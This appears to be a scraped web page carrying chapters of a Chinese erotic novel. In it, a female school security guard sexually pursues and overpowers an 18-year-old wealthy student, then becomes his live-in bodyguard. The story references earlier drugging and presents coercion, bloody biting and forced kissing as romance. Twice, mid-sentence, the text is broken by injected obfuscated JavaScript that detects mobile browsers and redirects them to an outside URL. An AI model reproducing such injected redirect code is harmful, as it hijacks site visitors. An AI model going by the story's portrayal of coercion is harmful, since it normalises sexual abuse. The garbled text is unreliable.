里奥在门口穿上了鞋,然后神情坦然地出了宿舍,没有再回头看她一眼,就和美盈第一次遇见他时一样。 她望着他的背影感叹,这小悍马变脸也太快了点,她虽然答应过他玩这一次就放过他,但当然是假话——她只是需要迷惑他,让他放松警惕后,再继续下一步的驯养。 美盈吃了个早餐,开始收拾满床的狼藉,枕头上都是里奥的眼泪混合着汗水。 她刚把床单撤下,费诺尔就回来了,站在门口处脸色有点难看:“是你从我这里拿了衣服吗?” “回来了?正好,快去帮我洗床单。”美盈把床上的东西一并扔到费诺尔怀里,那上面的味道还很浓厚,费诺尔极不情愿地瞥了她一眼,然后还是乖乖地把床单送到了洗衣机里,“你居然把人带到宿舍里,还从我这里拿衣服给你的情人……真是够了。” 男人站在洗衣机前调按钮,他刚值完班回来,身上还穿着挺拔的黑色制服,美盈看着他修长的背影,眼神不自觉落在了他的臀部:“你猜猜我这次懆的人是谁?” 费诺尔摇摇头。 “里奥·肯尼迪。”美盈慢悠悠地说道。费诺尔一愣,然后转过身来不可置信地看着美盈,“所以接下来该轮到你了吧?” 费诺尔差点没把洗衣液丢过去砸她,“你就编吧!” 5. 即将登堂入室 那天之后,美盈有一个星期没有再见过里奥,一是因为她值班时负责的区域不是里奥所在的“普福尔茨海默”宿舍楼,二是因为里奥这小子好像是故意躲着她似的,她也去篮球场转过几次,可惜都没有再见到他。 操过里奥之后,美盈再也没有约过其他人。里奥的身体和性格给予她极大的满足感,那些主动送上来让她白玩的普通小男孩她突然就看不上了。她想念他痛苦又漂亮的绝妙表情,想念他的声音和直肠的温度。 费诺尔劝她别再幻想着操肯尼迪少爷——尽管那天她开玩笑般和他透露过她已经得手了,但他就是不信,美盈也不好多解释,毕竟她答应过里奥不让别人知道。尽管美盈确信她对门的室友是个可靠的人,但少一个变数也是好的,毕竟这件事情从头到尾都太疯狂了。 再见到里奥时,已经是一个多月后。 当时学生事务主任说室内球场旁边有人打架,让他们赶紧去劝架,当美盈火速赶到篮球场时,才发现打架的人正是自己心心念念的里奥。 多日不见,里奥看起来更英俊了。他这种深邃绝伦的骨相,总是会给人以第一眼的强悍冲击力,许多英俊的白人都有这个特点,但如果再仔细端详,就会发现其五官的硬伤。但里奥不管你看他第一眼、第二眼,还是第无数眼,都只会感叹他被造化独钟,大概这就是顶级帅哥和普通帅哥的区别吧。 此刻他戾气十足地把另一个身材高大的俄罗斯男孩按在身下,死死扣住人的脖子,以绝对的压倒性把那个人治的服服帖帖——美盈端详了里奥好一会儿,才把目光挪向那个挨打的倒霉蛋。 “小伙子们,有话好好说,不要打架!”一个黑人女教职工在一旁急得团团转。但她小心翼翼,根本不敢对肯尼迪少爷上手,怎么又劝和得了。 “够了。”美盈这时才上前。 听到她的声音,里奥明显一愣,然后转过身来看她。 他半压在那俄国男孩的身上,两条大长腿分开,一截窄腰和挺翘的臀部更显张力与诱惑,美盈心不在焉地劝着他俩,暗地里却忍不住想勾起唇角。 被她的声音吸引了注意力,里奥或许是松了些力气,被按着的男孩猛地起身,攥起了拳头朝着他挥去。美盈眼疾手快,拦下了那个拳头,紧接着她赶紧把里奥拉开,生怕他再被激怒然后暴打这个斯拉夫小子。 这些十七八岁的白人青年虽然个个身强体壮,但在真正的职业人士美盈眼里等同于小鱼小虾。不过里奥不太一样,他年龄虽然也小,但出手却狠厉,体能更不必多说,在床上对付他时,美盈都要做好充足的防御工作。 她拉开两人,好心劝阻:“先生们,有什么话不能好好说?” 处于劣势的那个男孩别过头去,攥紧拳头喘着粗气,双眼通红,像是受了极大的委屈。 里奥看都没看美盈一眼,那神情仿佛他俩从未见过面,他冷冰冰地对那鼻青脸肿的男孩说:“你要是再敢惹我生气,下次我就把你塞进垃圾桶里。” 美盈不免对里奥这反应有些不满,起码她是第一个探入他直肠的女人,他见到她就这副样子? 里奥头也不回出了球场。 身旁围观的人见他离开,散去了一大半——都是围观里奥的姑娘和小骚0。 有一个亚裔女孩笑着摇头,对女伴们用汉语说:“来看男神打架,结果看了个寂寞。”美盈认识这个女孩,她叫艾比盖尔·赵。她的父母刚刚捐赠了七千五百万美金给科博戴尔高中和哈佛大学,用于打造“罗伯特·赵与莉莉·赵学生中心”。 美盈在心里感叹,这群小姐少爷们正事不干,凑热闹倒是积极。 等剩下的人也走得差不多了,她问那个被打的学生:“给姐姐说说,你们是怎么回事?” 斯拉夫小子急剧呼吸着,竟突然哭了起来。 “哭什么哭,给我憋回去。”美盈翻了个白眼,她最见不得男人哭鼻子,除非是在床上被她玩哭。 他抽了抽鼻子,红着眼说道:“里奥·肯尼迪是个混蛋,他抢了我的女朋友!” “……”美盈不知道该说什么好,只觉得听到这消息心里微微一震,“里奥有女朋友?” 男生继续说道:“你刚刚也看见了,不是吗?艾比盖尔那么喜欢他,我为了她打架,她甚至都没有看我一眼!我们认识了四年,我追了她四年,里奥这个狗东西……” “这么说来,是你喜欢的女孩不喜欢你,怎么谈得上是里奥抢了你的女朋友呢?”美盈打断他。 “因为一个月前在维拉德尔庄园,有传言说当晚里奥和一个亚洲女孩走了……”男孩咬着牙,“我猜那就是艾比盖尔!但无论我怎么问她,她都只是对我笑笑,我必须在她面前证明我比里奥强!” 美盈差点没憋住笑声:“哇哦,跟中世纪一样要为了爱情来一场决斗?还是美苏争霸?”美盈随口敷衍道,“也许你和艾比盖尔就是对不上眼,不要强求了,学校里还有很多不错的姑娘。” “可是学校里的女孩基本都喜欢里奥这条公狗!”男生愤愤地说道。 “好东西谁不喜欢呢?”美盈摆摆手说道,“该干什么干什么去吧。你们都是体面人,这次打架我会帮你们处理好,就不上报事务处了,以后做什么事,先想想值不值。”说完,她离开了球场。 怎么说呢,虽然这件事似乎里奥没有什么错,但一种被背叛的不悦感,还是自美盈心里油然而生——自己的小悍马未免太受欢迎了。这样下去,他难免禁不住诱惑去和别的姑娘谈恋爱。 说不出为什么,或许是因为她再也看不上那些平庸的男孩,又或许是她在心里也自然地认为里奥被她玩穿之后便会只对她一个人忠诚,毕竟他求她让他去时,也曾有过那么一点真切的愉悦感。 必须要尽快再次在他的身体里留下印记。 …… 炎热的七月一过,科博戴尔中学也快放假了。这个周日,将举办本学期最后一次教会主日聚会。 一大清早,安能堡厅就挤满了人。这个每周一次的聚会往往是白人贵妇家长们交换信息、谈论八卦的悠闲时间,但今天大家的议题都是同一件事—— 就在上周五,纽约又一次爆发了针对华尔街的大规模示威游行。 上千名示威者聚集在曼哈顿市区的华尔街一带,开始了“占领华尔街”行动。示威者声称,占人口总数99%的普通大众无法容忍仅占人口总数1%的富人的贪婪和腐败,他们要用和平示威的方式表达对权钱交易和社会不公的抗议。 美盈天天看新闻,这次的情势非常严峻。示威者占据了华尔街附近的祖科蒂公园,使之成为抗议活动的中心。刚开始,媒体的报道多为支持示威活动的声音,一些政治家和社会名流也纷纷到祖科蒂公园去看望示威者。后来,媒体上出现了反对的声音。例如,纽约市长最近表示,示威者有表达诉求的权利,但不能干扰其他人的正常生活。 “这才是市长应该督促市议会做的,不是吗?我们应该维护社区的团结,把属于我们的东西抓得更紧,危险人士必须排除在我们的生活之外。”说话的白人贵妇摇着头呷了口茶,“如果不是因为工作太忙,我应该亲自带里奥去西班牙度假。” “噢,特雷纳夫人,他会没事的。”这贵妇人身边的拥趸纷纷开口安慰,仿佛她真的在经历什么重大人生难题。 就在这时,李美盈被特雷纳夫人的女助理请进了大厅。 这是李美盈第一次看见里奥的母亲,她被众星捧月着坐在桌前,美得令人惊异。单从外表来看她完全是美盈的同龄人,脸上未施一丝粉黛,浅金色的秀发在脑后盘成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423876|200841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个松松的发髻,颧骨高挺,眼睛的形状暗示着英国人的血统。 “你就是李小姐?”她说,“前几天是你阻止了里奥和人打架?” “是的,特雷纳夫人,这是我的分内之事。” “里奥的脾气很不好,实际上,有人能劝住他令我都感到很意外……请叫我玛丽莎吧。”她伸出一只细长的手,与美盈虚握了握。美盈感觉到玛丽莎·特雷纳用目光打量着她,仿佛是打算弄懂什么事情。很快,玛丽莎露出了微笑,于是美盈忍不住也回敬了一个微笑。 “我提前看过你的资料,我想你是一个能干的人,李小姐。纽约最近不太平,我不想从Constellis再兴师动众挑选保安,所以,我想聘请你在这两个月里贴身保护里奥,你意下如何?” 出身名门且在名利场叱咤风云的玛丽莎自然很有看人的眼光。但即使是玛丽莎,也不可能想到眼前这个女人和自己的儿子之间究竟发生了什么。 美盈短暂地怔愣了一下,再没有什么能比眼下的情形更好地解释“想睡觉就有人递枕头”了。她露出一个专业且令人信服的微笑:“这是我的荣幸,特雷纳夫人。” …… 玛丽莎在前面,领着美盈去见里奥。 在这短短的十多分钟里,玛丽莎的电话就没有断过,她的三位助理簇拥在她身边,不时记下她谈话的内容。 多亏了玛丽莎,美盈今天终于能够踏足安能堡厅的二楼。 彩绘玻璃窗和哥特式尖顶,使这座建筑就像巴黎圣母院的复刻,进入里面,厚实的木梁撑起高达二百英尺的天花板,敞阔无比。十多盏枝形吊灯照耀着大厅,木镶板墙面上悬挂着数世纪以来的欧美杰出人物肖像,画中人无一例外全是男性——白发苍苍的白人男子,肖像的年代越悠久,画中人的目光便越冷峻,越难以取悦。 在角落的一扇彩窗下,里奥正在懒洋洋地拨弄着管风琴,弹奏的是《山王的宫殿里》。 肃穆空灵的琴音中,这一幕美得像油画,而画中金发碧眼的男孩就是希腊神话中的俄耳普斯——琴声能使众神闻而陶醉、海妖塞壬哑然失色。 玛丽莎实在是太过忙碌,在打到第三个电话时,她让美盈在此处暂且等待,她要回到车里召集属下开一个临时视频会议。 美盈表示理解:“不用着急,特雷纳夫人。” 玛丽莎走后,美盈直接走进了大厅,压着脚步,从背后逼近毫无知觉的里奥。她的手指触及他的肩膀时,这小子都没看是谁,第一反应就是冷冷地拍开,仿佛受到了冒犯。 而当他紧接着转过头来,看清楚面含笑意的女人时,那份恼怒才转变为惊愕,还有一丝不易察觉的心虚。 “怎么是你,”他飞快地抬起眼来与她对视片刻,“我今天可没有和谁来打架,这里用不着你。” 美盈微笑:“你是我的小宝贝,我的小王子,你想揍谁就揍谁去,只要你自己别受伤。” 里奥蹙了蹙眉头:“你说好不会再来找我的。” “可我想你了啊。” 里奥飞快地环顾四周一圈,这个厅堂很大,只有很远的地方有稀稀拉拉几个做礼拜的学生和家长:“别乱来,我妈妈今天来了。” “哦?肯尼迪先生是妈妈的乖宝宝呀……”美盈俯身凑近他,“你妈妈肯定还不知道,我们的交情有多深吧。”美盈故意把“deep”这个词咬得很重。同时她想到一会儿里奥知道了特雷纳夫人的决定之后会是多么震惊,忍不住嘴角疯狂上扬。 果然,里奥脸色一沉,拉起美盈就往外面走,凶狠炸毛的神情再次显现出来,精灵王子的气质荡然无存:“你胡说八道什么,你到底想怎样?” 美盈揉了揉被他攥得生疼的手腕,轻笑道:“我后悔了。想再□□一次,行不行?” 6. 肯尼迪一家 “你这个乡巴佬满脑子就只有这些恶心事儿?”里奥满眼厌恶。他话还没说完,就被美盈揪着领口,被迫低垂下高傲的头颅。 毫无疑问是美盈起了头,突然间二人嘴唇就撞向了对方的嘴唇,用手紧抓着、拖拽着、推搡着、猛拉着彼此。唇齿同样凶狠,决意要将怒火通过滚烫的舌尖向对方倾泻。年长女性率先撬开了男孩的嘴,将舌头送进去,探寻描摹着他口腔的形状,像是知道里面的每处沟壑都能为她在这场战斗中提供一些用处。 “唔……嗯……”里奥喘得很凶,因为比起接吻来,这更像是一场唇齿之战,碰撞、接吻的水声四溢。在这场战斗中,里奥大部分时候都闭眼皱着眉,偶尔睁眼,就会对上女人明亮危险的眼睛。 美盈感觉到里奥的眼神里燃烧着一种奇异且炽烈的感情,在渴望让她靠得更近,和想让她离得尽可能远之间摇摆。 她再次轻笑出声,默默享受着小野兽的挣扎。 美盈狠狠咬住里奥的下唇,铜锈味顿时充满了她的口腔。由于唇间已被涂满鲜血,亲吻现在变得更加容易了,当她抽身而退时,看见绯红色将里奥的下巴和下唇尽数覆盖。毫无疑问,她看起来也是一样。 “小宝贝……”她笑着呢喃。 “你真是够了。”里奥低声抱怨。美盈转而窥探起男孩肩膀和脖子之间露出的弧度,她热情地拉开他的衣领,亲吻着那块皮肤,满意地看着那雪白的颈间被烙下深红的血痕。 “你喜欢被我用舌头舔砥皮肤,是吗?”她沉思着,用灵活的舌头在里奥皮肤上的血迹间穿行,而后滑过他的咽喉。他喉头上下滚动,双手反复在身体两旁握紧、松开。 “……下一次我会把你的舌头从嘴里拔出来。”他威胁道。女人微微一笑,狠狠咬住了他的锁骨,咬破了表面的皮肤。他大声喘着气,在她嘴下颤抖。铜锈味充斥了她的嘴,即使已经有血液从齿印中渗出,她也只是更用力地咬下去,享受着里奥嘴唇里发出的苦痛低吟。 “虚词空话。”他仍在她的掌控之中,把自己的脖子暴露在外,她在他的喉咙往下的位置印上一枚深深的吻痕,然后放开他那头漂亮的金发。 “这只是个开胃菜,小宝贝。”她的掌心突然贴上他最为脆弱的部位,一滑而过,语气轻松自如,“做好准备吧。正菜我会在合适的时候,合适的地点,向你索取的。” 比如,里奥他自己家里的卧室就很合适。 “什么……”里奥还在考虑她这话的意义,美盈就再度向他伸出手。 男孩几乎是下意识地闪开——像凶狠的大狗试图躲避主人的巴掌,有一丝恐惧,但更多的是不服气。 但女人只是温柔地帮他梳理好稍微凌乱的头发,揩干净他的脸蛋儿,并毫不费力地帮他系好了丝绸质地的细领带。最后,她又将领带翻过来瞧了瞧,标牌上写着爱马仕,还绣着丁点儿小的蓝色海豚,非常精致。 “可爱,”她笑着评价道,“跟你一样。” 方才那狂风骤雨一般的热吻,唇齿间撕扯留下的血痕,就这么被悉数掩盖。 很快,里奥就知道为什么美盈恢复了有礼的模样。“你们在聊天吗?”玛丽莎清脆的高跟鞋声比她的人出现得更早。眼前的场景令她惊讶了片刻,“里奥,你和李小姐已经事先认识过了?” 里奥皱着眉头没说话,玛丽莎也早已习惯了她儿子冷冰冰的臭脸,并没有多想:“很好,那我就不用再介绍你们认识了,希望接下来的两个月你们能相处愉快。” “……妈妈,你在说什么?” “宝贝,假期这段时间李小姐会为我们单独工作,做你的私人保镖。”玛丽莎微笑着宣布。 里奥先是看了看他妈,又看了看一脸平静的李美盈。 没有丝毫犹豫,他说:“肯定不行!” 玛丽莎依旧在微笑,只是纤细的眉头轻轻皱了起来,她看向美盈:“请回避一下。” 美盈识趣地走开了。玛丽莎挽着里奥的手,把他带到一旁,“宝贝,我可不是在瞎操心。纽约现在的情况很糟糕,我们不能让你毫无保护地出行。” “那你就在学校里随便给我找了这么一个保安?你不觉得太草率了吗?” 玛丽莎不悦地说:“你觉得我是那种不负责任的母亲吗?除了李女士之外,我当然也看过安保公司推荐的其他人选,说实话,没有比她更好的了。”顿了顿,玛丽莎说,“最重要的是,雇佣一个亚裔,对我们的家族,包括我们的名声都会有好处……你明白妈妈的意思吧。” 里奥面无表情:“反正不能是她。” “为什么?给我一个理由。” 玛丽莎确信李美盈和里奥没有任何过节。另外,在提出雇佣美盈之前她完全了解过她的背景经历,包括她有没有战争创伤PTSD等等——开玩笑,玛丽莎绝对不会让任何危险人士靠近她的儿子。因此,她压低声音,“但这个理由最好不要是种族歧视之类的原因,宝贝,那可不符合你的身份。” 里奥烦躁地把头撇到一边:“我也不一定非要回爸爸那里,我可以待在波士顿,或者去英国陪伴祖父祖母。”他的尾音越来越弱,“……或者陪你。” “宝贝,你是你父亲唯一的儿子,那里是你的家,你当然要回去。更何况,假期你有那么多社交日程,留在纽约会很方便的。”玛丽莎开始用哄小孩的温柔语气和里奥说话,很显然,她开始觉得他是在无理取闹了。 “我十八岁了,我不需要任何人的保护,尤其是那个女人!我看她不顺眼。” “没问题,我会确保她和闲杂人等尽可能不要烦扰你。”玛丽莎爱怜地用双手捧着他的下巴,这个充满母爱的动作,让里奥刚刚被美盈扯痛的嘴唇和嘴里柔嫩的软组织疼得厉害。但里奥只是一言不发地垂着头,没有躲开。 她无奈地在里奥脸颊上亲了一口,“我的小珍宝,我已经让人把你的东西收拾好了。如果你闹够了小脾气,就准备好回家吧。” …… 作为肯尼迪少爷的贴身安保,美盈跟着里奥一齐出发了。 考虑到宝贝儿子的感受,玛丽莎颇为委婉地告诫美盈不要太过打扰里奥,保证他安全的同时,给他留下充足的私人空间——对此美盈表示全盘接受,全盘理解。 至于会不会遵守,那就是另一码事了。 她和里奥坐在同一部车里,劳斯莱斯宽大的后座足够他俩各自盘踞一端。 整整四个小时的车程,她和里奥都没有主动开口说一句话。 按理来说,这样的气氛应该是很压抑的,但因为美盈过于闲适甚至喜悦的表情和态度,让车里的氛围无论如何也冷不下来。 以至于到最后,里奥都忍不住了,恶狠狠地开口:“你在开心什么?别以为蒙蔽了我妈你就万事大吉了。” “我已经有很长一段时间没有回纽约了,”美盈并不觉得冒犯,笑着回答道,“其实,这座城市不仅是你的家,也是我的家呢。” 里奥露出了怀疑的表情:“真的?那你住在哪?” “反正不是在曼哈顿市区。我想,也许某一天可以让你睡个懒觉,然后把你拽出来吃个早午餐,你应该还没有完整地体验一次纽约的路边小馆吧?” “……听起来很无聊。”里奥嫌弃地闭上了眼睛。 豪车很快驶过布鲁克林大桥。另一边,曼哈顿正如数百万道参差不齐的阳光碎片般闪烁着,令人心生敬畏却又倍感振奋,这座星球上最著名的大都会,是那样的光鲜亮丽,密集得难以置信,却又美不胜收。 到了第五大道,本来戴着有线耳机固执地把自己和美盈隔绝开来的里奥也微微吃了一惊。这一次游行示威的规模很大,形势严峻超过以往任何同类活动,甚至到了他的家门外不远处,都能看到大批愤怒的人群。 当劳斯莱斯开过时,人们不约而同地举起了手里的标牌,嘴里大声呼喊着一些难听的话。 “这个该死的国家到处都是刁民。他们想干什么,要过来把这辆车给掀了么?”隔岸观火的肯尼迪少爷对着窗外的人群露出一个不屑且恶劣的微笑,“那真是再好不过了。” 肯尼迪宅邸位于第五大道的核心地带,占据了整幢哥特式红砖楼,属于纽约这一区域罕见的复式套房,是肯尼迪家族世代财富的证明。甚至连美盈也听说过,这座名为“莱弗里”的大楼是按照电影《罗斯玛丽的婴儿》中恶魔诞生之地达科塔大楼等比例建造的,也是上东区最老的合作公寓之一。 在俄罗斯寡头、中国巨头、顶级明星和科技亿万富翁等暴发户纷纷入住公园对面那些光鲜的公寓,坐拥公共餐厅、健身房、托儿所和无边泳池时,这幢大楼从外表看确实有些格格不入。当然,它内部的奢华典雅也足够让任何人震惊。 下车的时候,美盈就像一个真正的安保人员一样为里奥撑着车门。 里奥露出一个气鼓鼓的怀疑表情,这模样非常孩子气。 “为什么你要这样?”里奥说,“难道还会有人枪击我不成。” “少爷是不习惯我这么温柔地对你吗?”美盈掐了一把里奥的腰,用只有他能听见的声音说。 “……我就多此一问。” 下午五点五十五分时,里奥领着他的女保镖上电梯、穿过连通门,走向主公寓。最终两人来到会客厅,在敞开的门外停了下来。仅仅是进家门这个过程,就花了将近五分钟。 卡尔·肯尼迪先生正坐在靠窗的座位上打电话,浅蓝色的衬衫袖子挽了起来,一只手支在脑袋后面。他对里奥点点头,却仍没有挂电话。美盈看着左手边年轻的金发女子——那是第二任肯尼迪夫人吗?正坐在一张玫瑰色的古董沙发上,敲击着手机。 等卡尔先生打完电话,他亲自走上前来,和美盈握了握手:“美盈。很高兴你和里奥平安地到了,路上没什么事吧?” “一切都很好,谢谢。” “这是我的妻子,塔尼丝。塔尼丝?” 那位年轻美丽的女子扬起一只手,对美盈露出了一丝浅笑:“莫莉把你的房间整理好了,你还满意吗?”她的声音是那么柔和,夹杂着美式英语特有的轻快调子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423877|200841||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“很完美,谢谢。”美盈其实还没去看过她的房间,但她并不在乎,她晚上究竟在哪个房间睡还真不一定呢。 塔尼丝虽然非常年轻,但她的派头完全是一位没有破绽的贵妇:“完美?哦,你真是太容易取悦了。实际上那个房间是储物间仓促改出来的,如果你有什么不喜欢就告诉我,我会叫人把它修整好的。” “你以前住的房间不是比这还小吗,塔尼丝?”里奥突然说,“我相信爸爸告诉过我,你曾和另外十五个移民住在一起。” “里奥!”卡尔先生的声音是一种温和的警告。 塔尼丝微微吸了一口气,扬起了下巴:“说实话,我的房间更小。不过和我同住的女孩们都很善良,所以这根本就不成问题。如果大家都是和善有礼的,就没有什么事情是忍受不了的。你不这么觉得吗,美盈小姐?” 美盈飞快地瞧了一眼里奥,这小子也正看着她,等待她的反应。 她正要回答,一位穿着马球衫,还套了一条白色围裙的中年女士走了进来:“晚饭做好了,卡尔先生。” 里奥无聊地摇摇头,一只手搭在沙发的靠背上:“晚饭吃什么呢?” 莫莉的表情一下子充满了温情:“里奥少爷,我知道今天你会回家,所以做的都是你爱吃的——万一你今晚没有聚会,决定留下来的话。” “我当然要在家吃饭了,而且美盈也会和我们一起吃饭。”里奥说。 晚餐的过程静默而痛苦。 巨大的桃花心木餐桌、沉甸甸的银质餐具和水晶玻璃杯都令人感到不得其所。卡尔先生大部分时间都沉默不语,还消失了两次,去办公室里接听电话;莫莉则端来了花色配菜与鸡肉配红酒酱,表情紧绷,就像是被人扇了一巴掌的浑蛋,看得出来肯尼迪一家平日里是不会和员工共进晚餐的,所以莫莉不可思议。 塔尼丝几乎没怎么吃自己的那一份。她坐在美盈的对面,兴致勃勃地和她聊着天,仿佛美盈就是她新的挚友,目光过一段时间就会飘向自己的丈夫。 “跟我说说你的家庭。你有兄弟姐妹吗?” 美盈耸了耸肩,大致描述了自己的家人,只能让他们听上去比张三、李四稍微强一些。她很早就踏入社会,后来还加入了军队,事实上,她的生命中友情比亲情更为浓墨重彩。 “你有男朋友吗?”塔尼丝又问。 美盈忍不住勾起一个微笑:“噢……我正在追求一个比我年轻的男孩,跟他相处过之后,我居然都已经感觉有一点儿离不开他了,但他似乎不是一个容易被打动的人。”顿了顿,“所以,我会更努力的。” 里奥轻轻咳嗽了两声。他好像呛住了。 塔尼丝露出一个认同的微笑:“我可以理解。我就离不开卡尔,连让他出两天差都不愿意。 ” “是啊,我猜你想确保自己永远都不会离得太远。”本来没开口说话的里奥听了塔尼丝的话忍不住又开口搭腔。 卡尔先生从晚餐上抬起视线,目光在妻子和儿子之间闪烁,却只字未发。 “没有办法。”塔尼丝边说边整理着大腿上的餐巾,“爱情就是爱情。这话对吗,卡尔?” “当然。”看到塔尼丝的微笑,卡尔先生的脸色暂时缓和了下来。塔尼丝也伸出一只手,拍了拍他的手。 房间里沉寂了片刻。 “老实说,我觉得我还是回房间好了。我好像感觉有点恶心。” 伴随着响亮的刮擦声,里奥把椅子向后推去,将餐巾丢在了盘子里。白色的亚麻布马上就染上了红酒酱汁。 塔尼丝目送着里奥的背影,伴随着里奥的离开,塔尼丝那份斗志似乎全都熄灭了,看上去就像是在座位上萎缩了似的,双肩突然懈了下来。 可以理解,有这么一个继子谁都受不了。 美盈也站起身:“我可能也该回房了。非常感谢晚餐的招待,很美味。” 看看那镶木的地板、挑高的天花板和及地长的锦缎窗帘,美盈径直奔向了员工区——藏在二楼尽头的某个区域,需要经过一段通往厨房的狭长走廊。 她随意检查了一下自己的房间,其实有足足七十个平方,非常规整,只不过被这座豪华的大楼衬托得确实像个储物间罢了。 她只在房间里停留了一会儿,洗干净了手。 接下来,她又七转八拐,坐电梯到了顶层里奥的房间。 里奥刚刚洗完澡走出来,上半身没穿衣服,薄薄的雪肌上不时有水珠滑落,修长有力的身躯肌肉纹理分明。这小骚货,也不知是故意的还是不小心,内裤的边缘外露出来。 他看到美盈,意料之中似的没有露出任何惊讶表情,湛蓝的眼睛定定地看着她。 美盈走过去,一步步紧逼地强吻他。面对衣冠整齐的美盈,男孩目光氤氲,脸颊绯红,微微低着头看向比他矮了一截但气势极盛的年长女人,泛红的修长指尖覆上美盈薄薄的外衣,被吻到声音略微哑涩: “我想问你一个问题,”他似乎下了决心一般,“你是真的喜欢我……还是只想操男人?” 7. 咎由自取的小野兽 “这很重要吗?” “这难道不重要?” 里奥个子很高,这么一只健壮的小野兽被女人压制在沙发上,笔直的长腿几乎放不下,看上去觉得有几分委屈。 他的上半身和美盈紧紧相贴,实话实说,这家伙浑身上下每一个部位都和他这个人一模一样,张狂又自大,但同时又堪称完美。紧致的肌肉包裹着他的小腹,既有野性的力量感,又并不夸张,被撩拨的时候不住地向上挺着,腰侧肌肉拉抻,愈发显得纤薄而流畅。 美盈亲吻着里奥的嘴唇,手指在他的上半身游走,轻轻触在他两个浅浅的腰窝上,温柔地抚摸、按压。 奢华阴暗的房间里,气氛正在逐渐升温,变得暧昧而狎昵,但即使这个时候,女人还是一副无动于衷的模样。 里奥不知道她在上演什么矜持把戏,他看不透她平静的脸色,碧蓝的眼睛自以为凶狠地眯起来,像只发狠的白色幼虎,“别把我当成你从前交往过的劣质对象,如果你只是想找一个能被你操的小男孩随便玩玩,那你趁早给我滚。” 美盈把吻从他的唇挪开,用舌头卷磨着里奥从侧脸到脖颈上的每一寸皮肉,由慢到快,说: “小宝贝。我如果不是真的喜欢你,又怎么会想襙你?而且,你其实也挺享受的,不是吗?” 美盈拨弄开里奥垂下来的金发,露出清晰而深刻的眉眼。她想到对方那天夜里被禁锢在自己身下,表情从狠厉愤怒,再到失神茫然中杂糅着淡淡的沉醉,那带着征服欲的快感就得到了强烈的满足。 “享受?那可不是享受,只是正常的生理反应。” “小少爷,为什么一定要否认呢?” 里奥被她吻得喘不过气,却并没有挣扎。缓了好一会儿,他才蹙着眉头,眼底冒出掩饰不住的恶劣兴味,开口说:“如果你真的觉得那是享受……好吧,那我只能说,我相信如果我对你做同样的事,你也会享受的。” “噢。” 美盈轻轻抬起了下颌。 在里奥说出这句话之前,美盈其实保持着一种逗猫的心理状态,她甚至感觉到轻松愉快。因为里奥的质询表明他对她绝不是单纯的厌恶,而是存在着矛盾的好感。 但这句话,彻底惹怒了美盈,让她对他刚刚生起来的怜昵与宠爱消失殆尽。 想来也是,里奥·肯尼迪,一个如假包换的一爱直男,一个从小到大高高在上的白人少爷,就算在家庭生活中有点儿缺爱没有安全感,但总的来说依然是绝对的上位者,突然之间在美盈这里栽了不可言说的大跟头,纵使对她有好感,这种好感也是夹杂着报复欲。 果然还是不能对他懈下防备。 还是要不带感情地,把他搞到哭着服软求饶才好。 因此,她轻轻笑了一声。 “小宝贝,如果你觉得你有机会的话,那你大可以试一试。” “这可是你说的。” “我说的。” 里奥知道面前的女人从前是上过美墨边境战场的厉害人物,保持充分警惕的同时,又有一股扑面而来的自信,挑眉: “那今天晚上轮到你对我求饶了。” 真是狂到没边了。 李美盈几乎乐出声来,她慢条斯理解下自己裤子上的腰带,拿鞭子似的抓在手上:“行,你要有这个本事,我也任你处置。” 这小崽子够狠,没等她说完,直接一拳撂了过去。 美盈猛地往后仰头,另一只手趁机够到里奥的手腕,细细的腰带在她手里跟有了生命似的,灵活缠绕上去,但很快又被里奥挣脱开来。没了药力作祟,里奥明显难缠了许多。 一女一男打得激烈,竟然都是毫不留手,犹如斗兽场上的两只野兽,直到血肉模糊,直到分出胜负,不咬死对方不罢休。 美盈露出冷笑:“小坏蛋。”她再次捉住男孩的手腕,腰带甩出去,暧昧地缠上了他的腰,勒出一个诱人流畅的线条。借着腰带的束缚,桎梏住对方,用力一拽,把人往自己怀里带。 说实话,这一手够下流的。 里奥反手试图回击,转身钻出去的同时屈腿提膝,想要故技重施——经验丰富的女保安提前用手格挡,一手顺势前探,在他雪白的胸膛上狠狠掐上一把。 里奥脸色一变:“疯女人。” 美盈笑得更开心了,在他耳边轻轻吹了口气:“一调戏你,你就自乱阵脚,真是小骚货。” 回应她的是迎面而来的拳头,美盈果断避开,同时趁着这个间隙,灵活地用腰带缚住了里奥的手腕。 这场拢共十来分钟但确实无比激烈室内搏击结束了,看来最终还是职业人士更胜一筹—— “有一句话是怎么说来着?不要用你的爱好,来挑战别人吃饭的本领。小宝贝,就算你很能打,但我在战场上可是杀过人的。”美盈把里奥推倒在沙发上,“要求和吗?” 里奥的眼尾很深,平常总是萦绕着几分高傲的恹色,看上去不好接近,再加上深刻的轮廓,出色的五官,帅得格外突出。不像上一次,美盈今天没舍得痛打他脸,毕竟还没开始做呢,让这张英俊的小脸挂了彩难免败坏兴致,也不好对别人交代。 此时,他额头覆了一层薄汗,脸上因呼吸急促也染上了几分红,看上去倒是比平日里软乎一点。当然—— “求你爹(Go fuck yourself)。”他说。 只是假象。 美盈扯唇,毫不意外他的反应。 直视着小野兽这双犀利到永不服输的眼睛,简直让她浑身细胞都跟着亢奋。 “你这样果然让我感觉更有劲了。” 美盈就地站住脚步,直接把里奥压在地上强吻。 